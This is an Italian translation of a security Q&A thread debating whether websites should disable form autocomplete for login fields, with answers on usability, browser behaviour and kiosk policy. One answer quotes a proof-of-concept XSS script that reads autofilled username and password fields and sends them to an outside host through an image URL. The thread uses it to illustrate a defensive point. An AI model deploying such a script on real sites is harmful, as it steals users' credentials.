I siti web disabilitano il completamento automatico di moduli su tutti i moduli?

11

Ho notato che alcuni scanner di sicurezza di app Web segnalano la funzionalità 'Completamento automatico' di alcuni siti web (nei campi username / password) come un rischio per la sicurezza e suggeriscono quindi di includere AutoComplete=off o nel codice da qualche parte.

Da allora ho imparato che il completamento automatico è un attributo non standard e apparentemente non funziona in alcuni browser.

Mi chiedo se c'è una "best practice" in termini di sicurezza quando si tratta di questo?

    
posta NULLZ 10.04.2013 - 02:02
fonte

5 risposte

14

Questo dipende dal fatto che tu stia mirando alla sicurezza o per piacere a un auditor.

Se abiliti il completamento automatico per nome utente e password, resteranno registrati nel browser dell'utente. Ciò significa che l'utente non avrà bisogno di ricordarlo o di memorizzarlo in un luogo facilmente accessibile, il che significa che hai effettivamente la possibilità che scelgano una password sicura. (Hai una migliore possibilità se puoi imporre la password.)

Se disabiliti il completamento automatico e il browser rispetta questa impostazione, l'utente dovrà digitare nuovamente la password ogni volta. Pertanto ne sceglieranno uno facile da ricordare e da digitare. Se riesci a imporre una password sicura, la memorizzeranno in un posto facilmente accessibile per il copia-incolla. Una password in un file di testo casuale che potrebbe essere copiato accidentalmente, che potrebbe essere incollata per sbaglio in un luogo pubblico (barra dell'URL, email, ...), è un rischio molto peggiore di una password memorizzata nell'archivio password del browser.

Potresti trovare l'argomento che se l'utente sta utilizzando un browser condiviso, lasceranno le credenziali in giro per la persona successiva che utilizza quel browser. Questo argomento è fasullo: anche se il browser onora autocomplete = off, stanno lasciando la password a qualsiasi keylogger passante.

Penso che i browser per dispositivi mobili tendano a ignorare il completamento automatico = disattivato, a causa di una combinazione di tastiere scomode, mancanza di disponibilità di note post-it mentre sei in movimento e aspettativa di una UX fluida.

Un caso specifico in cui dovresti disattivare il completamento automatico nel modo più completo possibile è un CCV con carta di credito. Forse anche il numero della carta mentre ci sei, ma se lo fai, memorizzalo sul lato server e non lasciarlo visualizzare completamente (anche se questo è non una panacea ).

Assicurati tuttavia di disattivare la correzione automatica per le password. Non vuoi che una password venga corretta con una parola nel dizionario del dispositivo mobile o che venga aggiunta al dizionario quando l'utente annulla la correzione automatica.

    
risposta data 10.04.2013 - 02:49
fonte
3

Ci sono due principali problemi di sicurezza connessi al completamento automatico del modulo:

  • un utente malintenzionato con accesso al browser sarà in grado di leggere le informazioni salvate (se la memoria non è protetta da password)
  • se l'applicazione Web è vulnerabile allo scripting cross-site, è possibile utilizzare codice dannoso per recuperare le informazioni completate automaticamente e inviarle all'utente malintenzionato

Considerando questi possibili "attacchi", il proprietario di un sito web deve decidere se la funzionalità aggiunta merita o se comporta un rischio troppo grande per essere presa.

Alla fine, tutto si riduce al tipo di applicazione web di cui stiamo parlando. Ad esempio, non mi dispiacerebbe autocompletion per le credenziali di autenticazione di un sito Web di notizie, ma certamente non mi piacerebbe che la mia applicazione web di home banking completasse automaticamente la mia carta di credito PAN!

Anche se la best practice sulla sicurezza è sicuramente quella di disabilitare la funzione di completamento automatico, è una questione che deve essere valutata in modo diverso per ogni situazione (e ogni campo modulo!).

    
risposta data 10.04.2013 - 07:25
fonte
3

Il motivo per cui i browser ignorano autocomplete=off è dovuto al fatto che alcuni siti Web hanno tentato di disabilitare il completamento automatico delle password.

Questo è sbagliato; e nel luglio 2014 Firefox è stato l'ultimo browser principale a implementare finalmente la modifica per ignorare qualsiasi sito Web che tenta di disattivare il completamento automatico delle password.

Qualsiasi tentativo da parte di qualsiasi sito web di eludere le preferenze del browser è sbagliato, ecco perché i browser lo ignorano. Non c'è alcun motivo per cui un sito web dovrebbe cercare di disabilitare il salvataggio delle password.

  • Chrome lo ignora
  • Safari lo ignora
  • IE lo ignora
  • Firefox lo ignora

Che cosa succede se sono uno speciale fiocco di neve ?

Ci sono persone che presentano un buon caso d'uso:

I have a shared, public area, kiosk style computer. We don't want someone to (accidentally or intentionally) save their password so they next user could use it.

Questo non viola la dichiarazione:

Any attempt by any web-site to circumvent the browser's preference is wrong

Questo perché nel caso di un chiosco condiviso:

  • non è il web-server che ha la politica di oddball
  • è l'agente utente del client

Il browser (il computer condiviso) è quello che ha il requisito che esso non provi a salvare le password. Il modo corretto per impedire al browser di salvare le password è configurare il browser per non salvare le password. Poiché hai bloccato e controllato questo computer kiosk: controlli le impostazioni. Ciò include l'opzione di salvataggio delle password.

In Chrome e Internet Explorer, puoi configurare tali opzioni utilizzando i Criteri di gruppo (ad esempio, le chiavi del Registro di sistema).

Da Elenco norme di Chrome :

AutoFillEnabled

Enable AutoFill

Data type: Boolean (REG_DWORD)

Windows registry location: Software\Policies\Chromium\AutoFillEnabled

Description: Enables Chromium's AutoFill feature and allows users to auto complete web forms using previously stored information such as address or credit card information. If you disable this setting, AutoFill will be inaccessible to users. If you enable this setting or do not set a value, AutoFill will remain under the control of the user. This will allow them to configure AutoFill profiles and to switch AutoFill on or off at their own discretion.

Passa parola che provare a disabilitare il completamento automatico della password è sbagliato, i browser ignorano intenzionalmente chiunque cerchi di farlo e dovrebbero smettere di fare la cosa sbagliata. ™

    
risposta data 06.11.2015 - 15:44
fonte
2

La best practice è un po 'arbitraria in questo scenario perché dipende dall'applicazione decidere se vuole consentire il completamento automatico oppure no.

Ti fidi del browser dell'utente per memorizzare le credenziali della tua applicazione? Sì: ignoralo. No: bloccalo.

Poiché dipende dal browser, non aggiunge troppo valore, ma sicuramente aiuta da una difesa in profondità.

    
risposta data 10.04.2013 - 02:21
fonte
1

Non per tutti i moduli, tuttavia se la pagina contiene informazioni sensibili come le credenziali e queste credenziali vengono completate automaticamente dal browser senza interazione dell'utente, e il sito contiene una vulnerabilità XSS, quindi un attacco XSS potrebbe recuperare banalmente le credenziali senza alcun coinvolgimento dell'utente.

Hackavoid ha un eccellente articolo e alcuni codici POC:

 <script>
      setTimeout(function() {getPass();},500);
      function getPass() {
           var username = document.getElementById('user').value;
           var password = document.getElementById('pass').value;
           document.write("<img src='https://www.hackavoid.com/gotit?username=" + username + "&password=" + password+"' />");
      }
 </script>

Nel loro esempio, si tratta di una vulnerabilità XSS persistente, ma si potrebbe ottenere lo stesso risultato con una vulnerabilità XSS riflessa. Per estendere questo attacco, lo stesso XSS potrebbe persino fornire le caselle nome utente e password per il completamento automatico del browser nel caso in cui l'XSS non sia in una pagina di accesso.

Quindi, ti consiglio comunque di impostare il completamento automatico su off per i campi sensibili che vengono completati automaticamente senza alcuna interazione da parte dell'utente sui browser moderni. Molti gestori di password basati su browser come LastPass offrono la possibilità di ignorare AutoComplete=off . Tuttavia, LastPass offre anche l'opzione per non riempire automaticamente le informazioni di accesso ( Plugin > General > Automatically Fill Login Information ). Raccomando che sia disabilitato per mitigare qualsiasi attacco XSS che accetti le credenziali come utente finale.

    
risposta data 15.07.2015 - 17:32
fonte

Leggi altre domande sui tag